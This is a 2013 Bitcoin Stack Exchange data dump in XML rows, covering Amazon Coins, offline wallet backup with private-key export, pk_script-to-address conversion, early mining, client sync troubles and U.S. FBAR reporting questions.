  <row Id="17080" PostTypeId="1" CreationDate="2013-11-22T12:22:27.963" Score="-1" ViewCount="4592" Body="&lt;p&gt;&lt;a href=&quot;http://www.huffingtonpost.co.uk/2013/11/22/amazon-coins-uk_n_4322402.html?icid=maing-grid7%7Cuk%7Cdl7%7Csec3_lnk3&amp;amp;pLid=224883&quot; rel=&quot;nofollow&quot;&gt;This article talks&lt;/a&gt; about amazon creating its own crypto currency, the Amazon coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/B0096E8CQA&quot; rel=&quot;nofollow&quot;&gt;You can buy the coins at a set price in Amazon&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this worth any bother? It seems like you cant trade amazon coins for Bitcoins. Did Amazon jsut create a self regulated Crypto currency that is a massive smoke cloud to use the word Crypto in Amazon and generate some interest?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or Should i buy 10000? and wait for the price to go up?&lt;/p&gt;&#xA;" OwnerUserId="3656" LastActivityDate="2013-11-23T07:03:20.133" Title="To buy or not to buy Amazon Coin?" Tags="|currencies|" AnswerCount="1" CommentCount="2" ClosedDate="2013-11-24T21:21:57.553" ContentLicense="CC BY-SA 3.0" />
  <row Id="17081" PostTypeId="2" ParentId="17072" CreationDate="2013-11-22T12:29:18.400" Score="1" Body="&lt;p&gt;Even though it seems simple, this question is actually too complicated to answer.  It is also ill-defined, because the answer depends on who you are and what types of accounts you have access to, in which currencies, and in which countries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, I have accounts with all the major Bitcoin exchanges, and I have bank and brokerage accounts in many different countries and currencies.  Some exchanges refuse to do business with U.S. residents, while others require U.S. residency.  Some exchanges always convert the currency, others don't.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At present, I have found all the exchanges to be severely lacking in maturity, disclosure, and documentation.  The only exchange I deal with is Localbitcoins, because it is actually clear what the rules are and how it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure everyone will vote this answer down, but the answer depends on who you are, what types of accounts you have access to, and what capabilities to transfer money those banks/brokerage houses have.  And where you live.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-11-22T12:29:18.400" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17082" PostTypeId="2" ParentId="17080" CreationDate="2013-11-22T12:45:02.250" Score="4" Body="&lt;p&gt;The price wont rise, they are issued and redeemable by Amazon. Think of it as loyalty points you would receive from your local supermarket to use later rather than a cryptocurrency.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2013-11-22T12:45:02.250" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17083" PostTypeId="2" ParentId="17065" CreationDate="2013-11-22T13:06:57.157" Score="0" Body="&lt;p&gt;Depends on the pool. BTCGuild for example also distributes the fees fairly. Eventually the fixed mining reward (25BTC now) is going to go down and disappear and everything will have to be paid from the transaction fees. So if they don't already, pools will have to pay those out at some point.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2013-11-22T13:06:57.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17084" PostTypeId="2" ParentId="17014" CreationDate="2013-11-22T13:10:09.223" Score="0" Body="&lt;p&gt;You don't need to perform point 4 at all&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to do is generate and PRINT on paper your private key (Help &gt; Debug window &gt; Console &gt; dumpprivkey your_wallet_address)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have private key you can restore later OFFLINE your current wallet.dat file on any PC or Mac computer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is how:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Sync with the network without your wallet.dat&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch off internet connection and quit Bitcoin-qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import wallet.dat with BTC on it&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you don't have your wallet.dat file you can recreate it now: Run Bitcoin-qt and then click: Help &gt; Debug window &gt; Console &gt; importprivkey your_wallet_private_key (it take a while because Bitcoin-qt must scan over 14 GB data (on my PC about half hour)) and then quit Bitcoin-qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run Bitcoin-qt so your wallet will be updated&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter destination address and BTC value you want to send&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch on your internet connection and then click send button (so even if you have any malware or spy program on your computer it's impossible to steal your BTC because attacker have only few seconds when wallet.dat file with BTC on it is online)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;NOTE: as a rule of thumb I always send all BTC from my current wallet.dat file and NEVER use it again&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Check on &lt;a href=&quot;https://blockchain.info/address/your_wallet_address&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/your_wallet_address&lt;/a&gt; if your BTC was send and wait for 1 confirmation (if you give a tip it takes about 10 minutes, without tip about one hour)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Switch off internet connection&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You don't need to save your wallet.dat after step 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can restore later your current wallet.dat on ANY computer offline performing steps 1, 2 and 4 above)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course if you have a loot of BTC on ONE address it's smart move to split it on 10 different addressees&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So even if something going wrong you lost only 10% of your BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Summary:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate 10 (or 100) new BTC addressees on offline computer with Bitcoin-qt only (with fresh Windows, Linux or Mac OS install) - click: Receive and then 10 or 100 times click: +New Address&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy to TXT file all above addresses&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Generate and print for each BTC address private key (Help &gt; Debug window &gt; Console &gt; dumpprivkey your_wallet_address)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete wallet.dat file&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Restart or switch off your computer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course made 2 or more hard copy with printed private keys and store in 2 or more save places&lt;/p&gt;&#xA;" OwnerUserId="9148" LastActivityDate="2013-11-22T13:10:09.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17085" PostTypeId="1" AcceptedAnswerId="17086" CreationDate="2013-11-22T13:33:18.393" Score="0" ViewCount="1648" Body="&lt;p&gt;We have example in the wiki:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;Output 1:&#xA; 40 4B 4C 00 00 00 00 00                           - 0.05 BTC (5000000)&#xA; 19                                                - pk_script is 25 bytes long&#xA;&#xA; 76 A9 14 1A A0 CD 1C BE  A6 E7 45 8A 7A BA D5 12  - pk_script&#xA; A9 D9 EA 1A FB 22 5E 88  AC&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the pk_script? Is it possible to translate it to bitcoin address being offline (not synced with network)? How to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, I understand more right now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; pk_script&#xA; 76 (OP_DUP)&#xA; A9 (OP_HASH160)&#xA; 14 (Bytes to push)&#xA; 1A A0 CD 1C BE  A6 E7 45 8A 7A BA D5 12 A9 D9 EA 1A FB 22 5E (Data to push)&#xA; 88 (OP_EQUALVERIFY)&#xA; AC (OP_CHECKSIG)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A I understand I should use &lt;code&gt;b58encode_check&lt;/code&gt; on &quot;data to push&quot; to get bitcoin address. I have found python library which implements b58encode_check (&lt;a href=&quot;https://pypi.python.org/pypi/base58&quot; rel=&quot;nofollow&quot;&gt;https://pypi.python.org/pypi/base58&lt;/a&gt;) and did try with it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for byte in (0x1A, 0xA0, 0xCD, 0x1C, 0xBE,  0xA6, 0xE7, 0x45, 0x8A, 0x7A, 0xBA, 0xD5, 0x12, 0xA9, 0xD9, 0xEA, 0x1A, 0xFB, 0x22, 0x5E):&#xA;    buffer += chr(byte)&#xA;print b58encode_check(buffer)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I got &lt;code&gt;3RoCeq4K8ddPW6ugcheFoXK4GC2Ajo7ZF&lt;/code&gt; which don't look like bitcoin address. What I'm doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="4726" LastEditorUserId="4726" LastEditDate="2013-11-22T17:31:06.690" LastActivityDate="2013-11-22T17:31:06.690" Title="How get address from pk_script?" Tags="|development|address|protocol|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17086" PostTypeId="2" ParentId="17085" CreationDate="2013-11-22T13:59:34.810" Score="2" Body="&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Standard_Generation_Transaction_.28pay-to-pubkey.29&quot; rel=&quot;nofollow&quot;&gt;the wiki&lt;/a&gt;. Basically you have to extract the 20 byte &lt;em&gt;pubKeyHash&lt;/em&gt; (shown as &lt;em&gt;bytes to push&lt;/em&gt;) from the &lt;em&gt;scriptPubKey&lt;/em&gt; and convert it to Base58 (which is also described in &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow&quot;&gt;the wiki&lt;/a&gt;.  There is no need to be online to perform this operation.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-22T13:59:34.810" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17087" PostTypeId="1" CreationDate="2013-11-22T14:13:41.290" Score="2" ViewCount="350" Body="&lt;p&gt;Who got the bitcoins when nobody was mining it in the very begin? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If nobody mined it what used to happen to them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="9152" LastEditorUserId="5406" LastEditDate="2016-03-31T10:40:43.540" LastActivityDate="2016-03-31T10:40:43.540" Title="Who got the bitcoins when nobody was mining it in the very begin?" Tags="|mining-reward|mining-theory|history|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17088" PostTypeId="1" CreationDate="2013-11-22T14:25:48.037" Score="2" ViewCount="1096" Body="&lt;p&gt;I downloaded &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;, got it running, had 15 weeks or so left to catch up (sync) when I purchased some bitcoins and had them sent to my new wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to my horror, Bitcoin-Qt has frozen with four weeks to go. It has been running 48 hours without any change in changed blocks left. I have restarted my computer, rebooted the modem, all the simple things but no love.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to access this wallet? I'm new to all this. I only ever used my online wallet address before.&lt;/p&gt;&#xA;" OwnerUserId="9153" LastEditorUserId="1405" LastEditDate="2014-04-03T10:57:58.033" LastActivityDate="2014-05-03T11:18:53.193" Title="Bitcoin-Qt frozen catching up/sync with Bitcoin in new wallet" Tags="|wallet|bitcoin-core|network|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17089" PostTypeId="2" ParentId="17087" CreationDate="2013-11-22T14:30:55.510" Score="3" Body="&lt;p&gt;In the beginning, the Standard Client mined blocks by default. The difficulty was low enough that a single computer could reasonably create blocks just with its CPU. The Standard Client stopped CPU mining by default when GPU mining became prevalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Early blocks were most likely mined by Satoshi and other first adopters. One can see that the Genesis Block was created on &lt;a href=&quot;http://blockexplorer.com/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; rel=&quot;nofollow&quot;&gt;January 3rd&lt;/a&gt;, while the next block was mined on &lt;a href=&quot;http://blockexplorer.com/block/00000000839a8e6886ab5951d76f411475428afc90947ee320161bbf18eb6048&quot; rel=&quot;nofollow&quot;&gt;January 9th&lt;/a&gt;, showing that most likely the blocks would not be mined unless there was someone on the network - Satoshi was probably running a node from the start, second person joined the network a week later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins are only generated when a block is mined. If a block is not mined, no new coins are generated. The system does not generate new coins every 10 minutes, but every block, which is designed to be mineable on average in 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If blocks would stop being generated for some time, creation of new coins will be halted until a new block appears. Worst case scenario if a lot of computing power drops from the network, the system will be slowed down until the Difficulty is readjusted. This happens every 2 weeks worth of blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On TestNet, if a block is not generated in 15 minutes, Difficulty is dropped to 1 automatically to make it a more efficient testing environment. MainNet does not do this.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-11-22T14:30:55.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17090" PostTypeId="2" ParentId="17088" CreationDate="2013-11-22T14:33:34.420" Score="1" Body="&lt;p&gt;If you still have the &lt;code&gt;wallet.dat&lt;/code&gt; file from the bitcoin-qt installation at the time got the wallet address that you sent the money to you can use that with a new bitcoin-qt installation to try to make it work. If you don't have that &lt;code&gt;wallet.dat&lt;/code&gt; file anymore the money is lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the problems downloading the blockchain, are you sure you have enough space? It's about 12 GB now. It sometimes take a very long time to download and may just look like it's sitting around for a while doing nothing, then pick up again a while later.&lt;/p&gt;&#xA;" OwnerUserId="1875" LastActivityDate="2013-11-22T14:33:34.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17091" PostTypeId="2" ParentId="10447" CreationDate="2013-11-22T15:44:32.370" Score="15" Body="&lt;p&gt;The most current list of Litecoin exchanges, originally from the Litecoin wiki, updated in December 2017 to remove nonfunctional exchanges:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&lt;h3&gt;  Market exchanges &lt;/h3&gt;&lt;ul&gt;&#xA;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://www.kraken.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Kraken&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://www.therocktrading.com/en/exchange/currency&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Rock Trading&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://upbit.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;UpBit&lt;/a&gt; - Korean exchange&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://bithumb.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bithumb&lt;/a&gt; - Korean exchange&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.btctrade.com/ltc/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BTCTrade&lt;/a&gt; - Chinese exchange&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;http://www.okcoin.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;OkCoin&lt;/a&gt; - Chinese exchange&#xA;&#xA;&lt;/li&gt;&lt;/ul&gt;&#xA;&lt;h3&gt;  Fixed rate exchanges &lt;/h3&gt;&lt;ul&gt;&lt;li&gt; &lt;a href=&quot;https://www.okpay.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Okpay&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://www.litecoinlocal.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Litecoinlocal&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://bitbargain.co.uk/buy?thing=LTC&amp;amp;pay_method=&amp;amp;by=amount&amp;amp;amount=/&quot; rel=&quot;nofollow noreferrer&quot;&gt;BitBargain&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://24change.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;24change&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://www.alfacashier.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ALFAcashier&lt;/a&gt;&#xA;&lt;/li&gt;&lt;li&gt; &lt;a href=&quot;https://goldux.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;GOLDUX&lt;/a&gt;&#xA;&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;&#xA;" OwnerUserId="1489" LastEditorUserId="1489" LastEditDate="2017-12-13T14:15:17.343" LastActivityDate="2017-12-13T14:15:17.343" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17092" PostTypeId="1" CreationDate="2013-11-22T15:48:48.213" Score="1" ViewCount="388" Body="&lt;p&gt;I bought a bitcoin before my client synchronization was finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this stop me from getting the coin or will it just come later when the wallet is synchronized?&lt;/p&gt;&#xA;" OwnerUserId="9156" LastEditorUserId="1875" LastEditDate="2013-11-23T09:49:05.283" LastActivityDate="2013-11-23T09:49:05.283" Title="I bought a bitcoin before my client sychronization was finished. Will I get the coin?" Tags="|transactions|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17093" PostTypeId="2" ParentId="17092" CreationDate="2013-11-22T16:07:41.277" Score="5" Body="&lt;p&gt;No, it will not matter.  Sync only affects the readiness of your client.  The purchase is reflected on the public blockchain, which has nothing to do with whether your client is ready or not.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastActivityDate="2013-11-22T16:07:41.277" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17094" PostTypeId="1" CreationDate="2013-11-22T16:46:44.027" Score="-2" ViewCount="162" Body="&lt;p&gt;When someone purchases Bitcoin, where does the currency go used to pay for it? It can't just disappear. It still has value to someone.Thank you.&lt;/p&gt;&#xA;" OwnerUserId="9161" LastActivityDate="2013-11-22T16:51:35.533" Title="Where does the purchasing currency go?" Tags="|trading|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-25T00:08:36.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="17095" PostTypeId="2" ParentId="17094" CreationDate="2013-11-22T16:51:35.533" Score="2" Body="&lt;p&gt;It goes to the person (or people) who sold the Bitcoin&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-11-22T16:51:35.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17098" PostTypeId="2" ParentId="8193" CreationDate="2013-11-22T17:29:00.463" Score="0" Body="&lt;p&gt;The bullet points you give are out of context if you read the Wikipedia article you referenced.  The bullets refer to other activities that may require a form to be filed, but not the SAR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transporting $10,000 in or out of the U.S. does not generate a SAR, but it has to be reported.  This refers to electronic or physical currency, but it has to be dollars, and it doesn't apply to Bitcoin.   Same for the next two bullet points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last bullet point generates a Foreign Bank Account Report with the U.S. Treasury.  If you have money outside the U.S., you need to declare it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IRS and the U.S. Treasury are working on defining what is required.  At present, since the regs aren't finalized, you would not have to declare Bitcoin holdings on an FBAR, but you would have to declare cash balances at a brokerage such as Mt. Gox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My advice is to declare your Bitcoin holdings on an FBAR form, and form 8938 if you live outside the U.S., even if the form doesn't anticipate it.  You need to declare the maximum value of the account during the year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FBAR reporting can be done &lt;a href=&quot;http://bsaefiling.fincen.treas.gov/Enroll_Individual.html&quot; rel=&quot;nofollow&quot;&gt;online&lt;/a&gt;, and there are severe penalties if you don't do it.   Err on the side of caution and report everything.  Report it and keep it, or don't report it and they will seize it.  You decide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To answer your questions 3 and 4:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is considered as &quot;transporting&quot; into and out of the United States?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;An electronic or physical movement of the U.S. dollar across the border.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is simply running a Bitcoin QT client considered a &quot;money services&lt;br&gt;&#xA;  business&quot; and is subject to FinCEN requirements? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If my wallet is hosted, does that mean they are responsible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Responsible for what?  You will have to file an FBAR, and they will have to comply with their regulations, which are still being hashed out.&lt;/p&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditDate="2013-11-22T17:39:53.650" LastActivityDate="2013-11-22T17:39:53.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17099" PostTypeId="2" ParentId="11029" CreationDate="2013-11-22T18:12:37.313" Score="0" Body="&lt;p&gt;Hours! As long as more than a day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And, and as Bitcoin use increases this will take more time.&lt;/p&gt;&#xA;" OwnerUserId="9165" LastActivityDate="2013-11-22T18:12:37.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17100" PostTypeId="1" AcceptedAnswerId="17118" CreationDate="2013-11-22T18:40:23.217" Score="0" ViewCount="255" Body="&lt;p&gt;I bought an ASIC miner but the wallet just cannot get synched. I am trying for days now and i am still 18 weeks back. Can i run my ASIC miner on a pool, while my wallet isn't fully synched and the blockchain isn't fully downloaded?&lt;/p&gt;&#xA;" OwnerUserId="9164" LastEditorUserId="120" LastEditDate="2013-11-23T09:59:38.717" LastActivityDate="2013-11-23T09:59:38.717" Title="Wallet problem and ASIC miner" Tags="|wallet|asic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17101" PostTypeId="1" AcceptedAnswerId="18897" CreationDate="2013-11-22T19:09:34.727" Score="11" ViewCount="18173" Body="&lt;p&gt;I have a desktop, laptop, tablet, and phone.  I want to be able to send and receive payments from all these devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about doing that?  Do I have to create a unique wallet on each computer?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2013-12-16T23:24:07.040" Title="Wallet on multiple computers" Tags="|wallet|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17102" PostTypeId="1" CreationDate="2013-11-22T19:54:17.167" Score="1" ViewCount="115" Body="&lt;p&gt;I'm using btc-e.com verification, in the Finances section.&#xA;It supplies two key codes and has a square bar code to scan.&#xA;I've set up my google account for two-part verification, and google is ALSO supplying a keycode.&#xA;I've downloaded the bar code reader, but apparently I have to do something with these 3 keycodes before the bar code reader will give it's 6 digit code for me to enter in the btc-e.com security/finances section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me where I enter the google security code?  And also tell me where I'm supposed to enter the two btc-e.com security codes?&#xA;I need explicit step by step instructions, which I can't seem to find online.&#xA;thanks,&#xA;PS. I am a complete noob at this.  I've read similar questions and answers on this forum already, but they don't explain WHERE these codes are really supposed to go.&lt;/p&gt;&#xA;" OwnerUserId="9169" LastEditorUserId="5406" LastEditDate="2018-06-05T04:14:06.223" LastActivityDate="2018-06-05T04:14:06.223" Title="Trying to figure out the two-part authentication process. Can anyone give direct instructions?" Tags="|security|btce|authentication|two-factor|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17104" PostTypeId="1" CreationDate="2013-11-22T21:04:14.417" Score="0" ViewCount="3522" Body="&lt;p&gt;I did a bitcoin transaction of 216 BTC from the &lt;a href=&quot;https://50btc.com/&quot; rel=&quot;nofollow&quot;&gt;50BTC&lt;/a&gt; mining-pool to my wallet (Bitcoin-Qt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has been 3 days now and I have not received anything yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to search my address on &lt;a href=&quot;http://blockchain.info&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; and it doesn't come up.&lt;/p&gt;&#xA;" OwnerUserId="9114" LastEditorUserId="15412" LastEditDate="2014-06-18T05:50:32.060" LastActivityDate="2020-12-18T21:44:33.763" Title="Why is my withdrawal from the 50BTC pool not visible in the blockchain yet?" Tags="|mining-pools|withdrawal|lost-bitcoins|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17105" PostTypeId="1" AcceptedAnswerId="17106" CreationDate="2013-11-22T22:31:36.793" Score="1" ViewCount="665" Body="&lt;p&gt;I have installed bitcoind on Ubuntu Server. It didn't download a single block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getblockcount &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns 0 everytime I run.&#xA;Here is bitcoind getinfo&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;version&quot; : 80500,&#xA;    &quot;protocolversion&quot; : 70001,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 0,&#xA;    &quot;timeoffset&quot; : 0,&#xA;    &quot;connections&quot; : 0,&#xA;    &quot;proxy&quot; : &quot;127.0.0.1:9050&quot;,&#xA;    &quot;difficulty&quot; : 1.00000000,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1385148166,&#xA;    &quot;keypoolsize&quot; : 101,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;errors&quot; : &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9176" LastEditorUserId="120" LastEditDate="2013-11-23T10:03:51.687" LastActivityDate="2014-03-23T11:57:03.327" Title="bitcoind is not downloading blockchain" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17106" PostTypeId="2" ParentId="17105" CreationDate="2013-11-22T22:37:52.517" Score="1" Body="&lt;p&gt;have removed proxy its downloading now&lt;/p&gt;&#xA;" OwnerUserId="9176" LastActivityDate="2013-11-22T22:37:52.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17107" PostTypeId="2" ParentId="12228" CreationDate="2013-11-22T22:41:26.050" Score="1" Body="&lt;p&gt;From Brian Armstrong, Coinbase Agent, &lt;a href=&quot;http://support.coinbase.com/customer/portal/questions/625180-where-are-your-bitcoins-coming-from-when-i-purchase-them&quot; rel=&quot;nofollow&quot;&gt;via the coinbase support site&lt;/a&gt;, 11 Nov 2012:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We integrate with a variety of exchanges and also hold our own reserves. When you sell your bitcoins for USD we usually sell them to other Coinbase users at some point down the line (this is where our reserves come from), but we may cash them out if needed. In general, our goal is to abstract away some of the complexity so it's a simpler process for our users. What we have now is a good start but not finished by any means. Hope it helps!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2013-11-22T22:41:26.050" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17108" PostTypeId="1" CreationDate="2013-11-22T23:47:07.047" Score="1" ViewCount="4383" Body="&lt;p&gt;I am trying to open a corporate account on Bitstamp, but there are so many questions to answer, is there any easy way to get approved?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are you supposed to answer: Is your business regulated for AML? If so, what is your specific policy? Specifically, how do you perform KYC for your customers?&lt;/p&gt;&#xA;" OwnerUserId="9178" LastEditorUserId="37414" LastEditDate="2018-05-01T19:51:21.217" LastActivityDate="2018-05-01T19:51:21.217" Title="How to open a corporate account on Bitstamp?" Tags="|bitcoin-core-accounts|bitstamp|aml|know-your-customer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
